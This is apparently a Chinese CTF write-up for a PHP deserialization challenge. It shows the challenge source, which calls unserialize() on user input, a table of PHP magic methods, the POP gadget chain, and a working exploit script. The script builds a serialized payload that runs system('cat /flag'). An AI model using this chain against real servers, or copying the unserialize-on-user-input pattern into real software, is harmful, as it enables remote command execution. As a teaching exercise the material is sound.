题目源代码
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<!-- PHP 5.6.40 (cli) (built: Jan 31 2019 01:30:45) -->
<?php
highlight_file(__FILE__);
error_reporting(0);
class Happy{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
public function __call($name, $arguments)
{
call_user_func($this->cmd, $this->content);
}
public function __wakeup()
{
die("Wishes can be fulfilled");
}
}
class Nevv{
private $happiness;
public function __invoke()
{
return $this->happiness->check();
}
}
class Rabbit{
private $aspiration;
public function __set($name,$val){
return $this->aspiration->family;
}
}
class Year{
public $key;
public $rabbit;
public function __construct($key)
{
$this->key = $key;
}
public function firecrackers()
{
return $this->rabbit->wish = "allkill QAQ";
}
public function __get($name)
{
$name = $this->rabbit;
$name();
}
public function __destruct()
{
if ($this->key == "happy new year") {
$this->firecrackers();
}else{
print("Welcome 2023!!!!!");
}
}
}
if (isset($_GET['pop'])) {
$a = unserialize($_GET['pop']);
}else {
echo "过新年啊~过个吉祥年~";
}
?>
魔法函数
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__construct 当一个对象创建时被调用，
__destruct 当一个对象销毁时被调用，
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruct() 对象被销毁时触发
__call() 对不存在的方法或者不可访问的方法进行调用就自动调用
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 在给不可访问的(protected或者private)或者不存在的属性赋值的时候，会被调用
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发
pop链
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call_user_func() -> Happy::__call
Happy::_call -> Nevv::__invoke
Nevv::__invoke() -> Year::__get // 不可读取的数据
Year::__get -> Rabbit::__set
Rabbit::__set -> | Year::firecrackers()
Year::firecrackers() -> Year::__destuct
Year::__destuct -> Year::$key = happy new year
exp
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<?php
use Happy as GlobalHappy;
use Nevv as GlobalNevv;
use Rabbit as GlobalRabbit;
use Year as GlobalYear;
class Happy{
private $cmd = "system";
// private $content = "ls /";
private $content = "cat /flag";
}
class Nevv{
private $happiness;
public function __construct($happiness){ // 添加
$this->happiness = $happiness;
}
public function __invoke()
{
return $this->happiness->check();
}
}
class Rabbit{
private $aspiration;
public function __construct($aspiration){ // 添加
$this->aspiration = $aspiration;
}
public function __set($name,$val){
return $this->aspiration->family;
}
}
class Year{
public $key = "happy new year";
public $rabbit;
public function firecrackers()
{
return $this->rabbit->wish = "allkill QAQ";
}
public function __get($name)
{
$name = $this->rabbit;
$name();
}
public function __destruct()
{
if ($this->key == "happy new year") {
$this->firecrackers();
}else{
print("Welcome 2023!!!!!");
}
}
}
$Y = new GlobalYear();
$Y2 = new GlobalYear();
$Y2->rabbit=new GlobalNevv(new GlobalHappy());
$R = new GlobalRabbit($Y2);
$Y->rabbit=$R;
echo urlencode(serialize($Y));